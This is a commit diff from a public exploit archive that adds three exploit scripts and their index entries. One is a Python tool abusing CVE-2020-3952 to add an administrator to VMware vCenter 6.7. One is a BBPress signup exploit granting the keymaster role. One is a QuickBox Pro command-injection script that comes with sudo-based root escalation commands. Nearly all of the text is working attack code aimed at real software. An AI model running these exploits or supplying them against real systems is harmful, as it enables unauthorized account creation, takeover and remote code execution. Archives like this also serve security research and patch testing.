DB: 2020-06-02
3 changes to exploits/shellcodes Wordpress Plugin BBPress 2.5 - Unauthenticated Privilege Escalation VMware vCenter Server 6.7 - Authentication Bypass QuickBox Pro 2.1.8 - Authenticated Remote Code Execution
This commit is contained in:
parent
326e1cc9df
commit
b68cd4f38a
4 changed files with 362 additions and 0 deletions
248
exploits/multiple/webapps/48535.txt
Normal file
248
exploits/multiple/webapps/48535.txt
Normal file
|
@ -0,0 +1,248 @@
|
|||
# Exploit Title: VMware vCenter Server 6.7 - Authentication Bypass
|
||||
# Date: 2020-06-01
|
||||
# Exploit Author: Photubias
|
||||
# Vendor Advisory: [1] https://www.vmware.com/security/advisories/VMSA-2020-0006.html
|
||||
# Version: vCenter Server 6.7 before update 3f
|
||||
# Tested on: vCenter Server Appliance 6.7 RTM (updated from v6.0)
|
||||
# CVE: CVE-2020-3952
|
||||
|
||||
#!/usr/bin/env python3
|
||||
|
||||
'''
|
||||
Copyright 2020 Photubias(c)
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
|
||||
Based (and reverse engineerd from): https://github.com/guardicore/vmware_vcenter_cve_2020_3952
|
||||
|
||||
File name CVE-2020-3592.py
|
||||
written by tijl[dot]deneut[at]howest[dot]be for www.ic4.be
|
||||
|
||||
## Vulnerable setup (requirements): vCenter Server 6.7 that was upgraded from 6.x
|
||||
|
||||
This is a native implementation without requirements, written in Python 3.
|
||||
Works equally well on Windows as Linux (as MacOS, probably ;-)
|
||||
|
||||
Features: exploit + vulnerability checker
|
||||
'''
|
||||
|
||||
import binascii, socket, sys, string, random
|
||||
|
||||
## Default vars; change at will
|
||||
_sIP = '192.168.50.35'
|
||||
_iPORT = 389
|
||||
_iTIMEOUT = 5
|
||||
|
||||
def randomString(iStringLength=8):
|
||||
#sLetters = string.ascii_lowercase
|
||||
sLetters = string.ascii_letters
|
||||
return ''.join(random.choice(sLetters) for i in range(iStringLength))
|
||||
|
||||
def getLengthPrefix(sData, sPrefix, hexBytes=1): ## sData is hexlified
|
||||
## This will calculate the length of the string, and verify if an additional '81' or '82' prefix is needed
|
||||
sReturn = sPrefix
|
||||
if (len(sData) / 2 ) > 255:
|
||||
sReturn += b'82'
|
||||
hexBytes = 2
|
||||
elif (len(sData) /2 ) >= 128:
|
||||
sReturn += b'81'
|
||||
sReturn += f"{int(len(sData)/2):#0{(hexBytes*2)+2}x}"[2:].encode()
|
||||
return sReturn
|
||||
|
||||
def buildBindRequestPacket(sUser, sPass):
|
||||
sUser = binascii.hexlify(sUser.encode())
|
||||
sPass = binascii.hexlify(sPass.encode())
|
||||
## Packet Construction
|
||||
sPacket = getLengthPrefix(sPass, b'80') + sPass
|
||||
sPacket = getLengthPrefix(sUser, b'04') + sUser + sPacket
|
||||
sPacket = b'020103' + sPacket
|
||||
sPacket = getLengthPrefix(sPacket, b'60') + sPacket
|
||||
sPacket = b'020101' + sPacket
|
||||
sPacket = getLengthPrefix(sPacket, b'30') + sPacket
|
||||
#print(sPacket)
|
||||
return binascii.unhexlify(sPacket)
|
||||
|
||||
def buildUserCreatePacket(sUser, sPass):
|
||||
sUser = binascii.hexlify(sUser.encode())
|
||||
sPass = binascii.hexlify(sPass.encode())
|
||||
def createAttribute(sName, sValue):
|
||||
sValue = getLengthPrefix(sValue, b'04') + sValue
|
||||
sName = getLengthPrefix(sName, b'04') + sName
|
||||
|
||||
sReturn = getLengthPrefix(sValue, b'31') + sValue
|
||||
sReturn = sName + sReturn
|
||||
sReturn = getLengthPrefix(sReturn, b'30') + sReturn
|
||||
return sReturn
|
||||
|
||||
def createObjectClass():
|
||||
sReturn = getLengthPrefix(binascii.hexlify(b'top'), b'04') + binascii.hexlify(b'top')
|
||||
sReturn += getLengthPrefix(binascii.hexlify(b'person'), b'04') + binascii.hexlify(b'person')
|
||||
sReturn += getLengthPrefix(binascii.hexlify(b'organizationalPerson'), b'04') + binascii.hexlify(b'organizationalPerson')
|
||||
sReturn += getLengthPrefix(binascii.hexlify(b'user'), b'04') + binascii.hexlify(b'user')
|
||||
|
||||
sReturn = getLengthPrefix(sReturn, b'31') + sReturn
|
||||
sReturn = getLengthPrefix(binascii.hexlify(b'objectClass'), b'04') + binascii.hexlify(b'objectClass') + sReturn
|
||||
sReturn = getLengthPrefix(sReturn, b'30') + sReturn
|
||||
return sReturn
|
||||
|
||||
## Attributes
|
||||
sAttributes = createAttribute(binascii.hexlify(b'vmwPasswordNeverExpires'), binascii.hexlify(b'True'))
|
||||
sAttributes += createAttribute(binascii.hexlify(b'userPrincipalName'), sUser + binascii.hexlify(b'@VSPHERE.LOCAL'))
|
||||
sAttributes += createAttribute(binascii.hexlify(b'sAMAccountName'), sUser)
|
||||
sAttributes += createAttribute(binascii.hexlify(b'givenName'), sUser)
|
||||
sAttributes += createAttribute(binascii.hexlify(b'sn'), binascii.hexlify(b'vsphere.local'))
|
||||
sAttributes += createAttribute(binascii.hexlify(b'cn'), sUser)
|
||||
sAttributes += createAttribute(binascii.hexlify(b'uid'), sUser)
|
||||
sAttributes += createObjectClass()
|
||||
sAttributes += createAttribute(binascii.hexlify(b'userPassword'), sPass)
|
||||
## CN
|
||||
sCN = binascii.hexlify(b'cn=') + sUser + binascii.hexlify(b',cn=Users,dc=vsphere,dc=local')
|
||||
sUserEntry = getLengthPrefix(sCN, b'04') + sCN
|
||||
|
||||
## Packet Assembly (bottom up)
|
||||
sPacket = getLengthPrefix(sAttributes, b'30') + sAttributes
|
||||
sPacket = sUserEntry + sPacket
|
||||
sPacket = getLengthPrefix(sPacket, b'02010268', 2) + sPacket
|
||||
sPacket = getLengthPrefix(sPacket, b'30') + sPacket
|
||||
#print(sPacket)
|
||||
return binascii.unhexlify(sPacket)
|
||||
|
||||
def buildModifyUserPacket(sUser):
|
||||
sFQDN = binascii.hexlify(('cn=' + sUser + ',cn=Users,dc=vsphere,dc=local').encode())
|
||||
sCN = binascii.hexlify(b'cn=Administrators,cn=Builtin,dc=vsphere,dc=local')
|
||||
sMember = binascii.hexlify(b'member')
|
||||
## Packet Construction
|
||||
sPacket = getLengthPrefix(sFQDN, b'04') + sFQDN
|
||||
sPacket = getLengthPrefix(sPacket, b'31') + sPacket
|
||||
sPacket = getLengthPrefix(sMember, b'04') + sMember + sPacket
|
||||
sPacket = getLengthPrefix(sPacket, b'0a010030') + sPacket
|
||||
sPacket = getLengthPrefix(sPacket, b'30') + sPacket
|
||||
sPacket = getLengthPrefix(sPacket, b'30') + sPacket
|
||||
sPacket = getLengthPrefix(sCN, b'04') + sCN + sPacket
|
||||
sPacket = getLengthPrefix(sPacket, b'02010366') + sPacket
|
||||
sPacket = getLengthPrefix(sPacket, b'30') + sPacket
|
||||
#print(sPacket)
|
||||
return binascii.unhexlify(sPacket)
|
||||
|
||||
def performBind(s):
|
||||
## Trying to bind, fails, but necessary (even fails when using correct credentials)
|
||||
dPacket = buildBindRequestPacket('Administrator@vsphere.local','www.IC4.be')
|
||||
s.send(dPacket)
|
||||
sResponse = s.recv(1024)
|
||||
try:
|
||||
sResponse = sResponse.split(b'\x04\x00')[0][-1:]
|
||||
sCode = binascii.hexlify(sResponse).decode()
|
||||
if sCode == '31': print('[+] Ok, service reachable, continuing')
|
||||
else: print('[-] Something went wrong')
|
||||
except:
|
||||
pass
|
||||
return sCode
|
||||
|
||||
def performUserAdd(s, sUser, sPass):
|
||||
dPacket = buildUserCreatePacket(sUser,sPass)
|
||||
s.send(dPacket)
|
||||
sResponse = s.recv(1024)
|
||||
try:
|
||||
sCode = sResponse.split(b'\x04\x00')[0][-1:]
|
||||
sMessage = sResponse.split(b'\x04\x00')[1]
|
||||
if sCode == b'\x00':
|
||||
print('[+] Success! User ' + sUser + '@vsphere.local added with password ' + sPass)
|
||||
elif sCode == b'\x32':
|
||||
print('[-] Error, this host is not vulnerable (insufficientAccessRights)')
|
||||
else:
|
||||
if sMessage[2] == b'81': sMessage = sMessage[3:].decode()
|
||||
else: sMessage = sMessage[2:].decode()
|
||||
print('[-] Error, user not added, message received: ' + sMessage)
|
||||
except:
|
||||
pass
|
||||
return sCode
|
||||
|
||||
|
||||
def performUserMod(s, sUser, verbose = True):
|
||||
dPacket = buildModifyUserPacket(sUser)
|
||||
s.send(dPacket)
|
||||
sResponse = s.recv(1024)
|
||||
try:
|
||||
sCode = sResponse.split(b'\x04\x00')[0][-1:]
|
||||
sMessage = sResponse.split(b'\x04\x00')[1]
|
||||
if sCode == b'\x00':
|
||||
if verbose: print('[+] User modification success (if the above is OK).')
|
||||
else:
|
||||
if sMessage[2] == b'81': sMessage = sMessage[3:].decode()
|
||||
else: sMessage = sMessage[2:].decode()
|
||||
if verbose: print('[-] Error during modification, message received: ' + sMessage)
|
||||
except:
|
||||
pass
|
||||
return sCode, sMessage
|
||||
|
||||
def performUnbind(s):
|
||||
try: s.send(b'\x30\x05\x02\x01\x04\x42\x00')
|
||||
except: pass
|
||||
|
||||
def main():
|
||||
global _sIP, _iPORT, _iTIMEOUT
|
||||
_sUSER = 'user_' + randomString(6)
|
||||
_sPASS = randomString(8) + '_2020'
|
||||
bAdduser = False
|
||||
if len(sys.argv) == 1:
|
||||
print('[!] No arguments found: python3 CVE-2020-3592.py <dstIP> [<newUsername>] [<newPassword>]')
|
||||
print(' Example: ./CVE-2020-3592.py ' + _sIP + ' ' + _sUSER + ' ' + _sPASS)
|
||||
print(' Leave username & password empty for a vulnerability check')
|
||||
print(' Watch out for vCenter/LDAP password requirements, leave empty for random password')
|
||||
print(' But for now, I will ask questions')
|
||||
sAnswer = input('[?] Please enter the vCenter IP address [' + _sIP + ']: ')
|
||||
if not sAnswer == '': _sIP = sAnswer
|
||||
sAnswer = input('[?] Want to perform a check only? [Y/n]: ')
|
||||
if sAnswer.lower() == 'n': bAdduser = True
|
||||
if bAdduser:
|
||||
sAnswer = input('[?] Please enter the new username to add [' + _sUSER + ']: ')
|
||||
if not sAnswer == '': _sUSER = sAnswer
|
||||
sAnswer = input('[?] Please enter the new password for this user [' + _sPASS + ']: ')
|
||||
if not sAnswer == '': _sPASS = sAnswer
|
||||
else:
|
||||
_sIP = sys.argv[1]
|
||||
if len(sys.argv) >= 3:
|
||||
_sUSER = sys.argv[2]
|
||||
bAdduser = True
|
||||
if len(sys.argv) >= 4: _sPASS = sys.argv[3]
|
||||
|
||||
## MAIN
|
||||
print('')
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.settimeout(_iTIMEOUT)
|
||||
try:
|
||||
s.connect((_sIP,_iPORT))
|
||||
except:
|
||||
print('[-] Error: Host ' + _sIP + ':' + str(_iPORT) + ' not reachable')
|
||||
sys.exit(1)
|
||||
|
||||
performBind(s)
|
||||
|
||||
if bAdduser:
|
||||
sCode = performUserAdd(s, _sUSER, _sPASS)
|
||||
|
||||
if not bAdduser:
|
||||
print('[!] Checking vulnerability')
|
||||
sCode, sMessage = performUserMod(s, 'Administrator', False)
|
||||
if sCode == b'\x32': print('[-] This host is not vulnerable, message: ' + sMessage)
|
||||
else: print('[+] This host is vulnerable!')
|
||||
else:
|
||||
sCode = performUserMod(s, _sUSER)
|
||||
|
||||
performUnbind(s)
|
||||
|
||||
s.close()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
58
exploits/php/webapps/48534.py
Executable file
58
exploits/php/webapps/48534.py
Executable file
|
@ -0,0 +1,58 @@
|
|||
# Exploit Title: Wordpress Plugin BBPress 2.5 - Unauthenticated Privilege Escalation
|
||||
# Date: 2020-05-29
|
||||
# Exploit Author: Raphael Karger
|
||||
# Software Link: https://codex.bbpress.org/releases/
|
||||
# Version: BBPress < 2.5
|
||||
# CVE: CVE-2020-13693
|
||||
|
||||
import argparse
|
||||
import requests
|
||||
import bs4
|
||||
import urllib3
|
||||
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
|
||||
|
||||
useragent = {"User-Agent" : "This is a real browser i swear"}
|
||||
|
||||
def grab_nonce_login_page(url):
|
||||
try:
|
||||
login_page_request = requests.get(url, verify=False, timeout=10, headers=useragent)
|
||||
soup = bs4.BeautifulSoup(login_page_request.text, "lxml")
|
||||
action = soup.find("form", class_="bbp-login-form")
|
||||
wp_login_page = action.get("action")
|
||||
wp_nonce = action.find("input", id="_wpnonce").get("value")
|
||||
return (wp_nonce, wp_login_page)
|
||||
except Exception as nonce_error:
|
||||
print("[-] Nonce Error: '{}'".format(nonce_error))
|
||||
return False
|
||||
|
||||
def exploit(url, username, password, email):
|
||||
info = grab_nonce_login_page(url)
|
||||
if info:
|
||||
nonce = info[0]
|
||||
login_page = info[1]
|
||||
try:
|
||||
return requests.post(login_page, data={
|
||||
"user_login" : username,
|
||||
"user_pass" : password,
|
||||
"user_email" : email,
|
||||
"user-submit" : "",
|
||||
"user-cookie" : "1",
|
||||
"_wpnonce" : nonce,
|
||||
"bbp-forums-role" : "bbp_keymaster"
|
||||
}, allow_redirects=False, verify=False, timeout=10, headers=useragent)
|
||||
except Exception as e:
|
||||
print("[-] Error Making Signup Post Request: '{}'".format(e))
|
||||
return False
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit("asdasd")
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument("-n", "--username", dest="username", help="Username of Newly Created Keymaster", default="raphaelrocks")
|
||||
parser.add_argument("-p", "--password", dest="password", help="Password of Newly Created Keymaster", default="raphael123")
|
||||
parser.add_argument("-e", "--email", dest="email", help="Email of Newly Created Keymaster", default="test@example.com")
|
||||
parser.add_argument("-u", "--url", dest="url", help="URL of Page With Exposed Register Page.", required=True)
|
||||
args = parser.parse_args()
|
||||
site_exploit = exploit(args.url, args.username, args.password, args.email)
|
||||
if site_exploit and site_exploit.status_code == 302:
|
||||
exit("[+] Exploit Successful, Use Username: '{}' and Password: '{}'".format(args.username, args.password))
|
||||
print("[-] Exploit Failed")
|
53
exploits/php/webapps/48536.py
Executable file
53
exploits/php/webapps/48536.py
Executable file
|
@ -0,0 +1,53 @@
|
|||
# Exploit Title: QuickBox Pro 2.1.8 - Authenticated Remote Code Execution
|
||||
# Date: 2020-05-26
|
||||
# Exploit Author: s1gh
|
||||
# Vendor Homepage: https://quickbox.io/
|
||||
# Vulnerability Details: https://s1gh.sh/cve-2020-13448-quickbox-authenticated-rce/
|
||||
# Version: <= 2.1.8
|
||||
# Description: An authenticated low-privileged user can exploit a command injection vulnerability to get code-execution as www-data and escalate privileges to root due to weak sudo rules.
|
||||
# Tested on: Debian 9
|
||||
# CVE: CVE-2020-13448
|
||||
# References: https://github.com/s1gh/QuickBox-Pro-2.1.8-Authenticated-RCE
|
||||
|
||||
'''
|
||||
Privilege escalation: After getting a reverse shell as the www-data user you can escalate to root in one of two ways.
|
||||
1. sudo mysql -e '\! /bin/sh'
|
||||
2. sudo mount -o bind /bin/sh /bin/mount;sudo mount
|
||||
|
||||
'''
|
||||
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
import requests
|
||||
import argparse
|
||||
import sys
|
||||
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
||||
from urllib.parse import quote_plus
|
||||
|
||||
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
||||
|
||||
def exploit(args):
|
||||
s = requests.Session()
|
||||
print('[*] Sending our payload...')
|
||||
|
||||
s.post('https://' + args.ip + '/inc/process.php', data={'username': args.username, 'password': args.password, 'form_submission': 'login'}, verify=False)
|
||||
try:
|
||||
s.get('https://' + args.ip + '/index.php?id=88&servicestart=a;' + quote_plus(args.cmd) + ';', verify=False)
|
||||
except requests.exceptions.ReadTimeout:
|
||||
pass
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="Authenticated RCE for QuickBox Pro <= v2.1.8")
|
||||
parser.add_argument('-i',dest='ip',required=True,help="Target IP Address")
|
||||
parser.add_argument('-u',dest='username',required=True,help="Username")
|
||||
parser.add_argument('-p',dest='password',required=True,help="Password")
|
||||
parser.add_argument('-c',dest='cmd', required=True, help="Command to execute")
|
||||
args = parser.parse_args()
|
||||
|
||||
exploit(args)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
sys.exit(0)
|
|
@ -42761,3 +42761,6 @@ id,file,description,date,author,type,platform,port
|
|||
48531,exploits/php/webapps/48531.py,"QNAP QTS and Photo Station 6.0.3 - Remote Command Execution",2020-05-28,Th3GundY,webapps,php,
|
||||
48532,exploits/php/webapps/48532.txt,"WordPress Plugin Multi-Scheduler 1.0.0 - Cross-Site Request Forgery (Delete User)",2020-05-29,UnD3sc0n0c1d0,webapps,php,
|
||||
48533,exploits/multiple/webapps/48533.py,"Crystal Shard http-protection 0.2.0 - IP Spoofing Bypass",2020-05-29,"Halis Duraki",webapps,multiple,
|
||||
48534,exploits/php/webapps/48534.py,"Wordpress Plugin BBPress 2.5 - Unauthenticated Privilege Escalation",2020-06-01,"Raphael Karger",webapps,php,
|
||||
48535,exploits/multiple/webapps/48535.txt,"VMware vCenter Server 6.7 - Authentication Bypass",2020-06-01,Photubias,webapps,multiple,
|
||||
48536,exploits/php/webapps/48536.py,"QuickBox Pro 2.1.8 - Authenticated Remote Code Execution",2020-06-01,s1gh,webapps,php,
|
||||
|
|
Can't render this file because it is too large.
|
Loading…
Add table
Reference in a new issue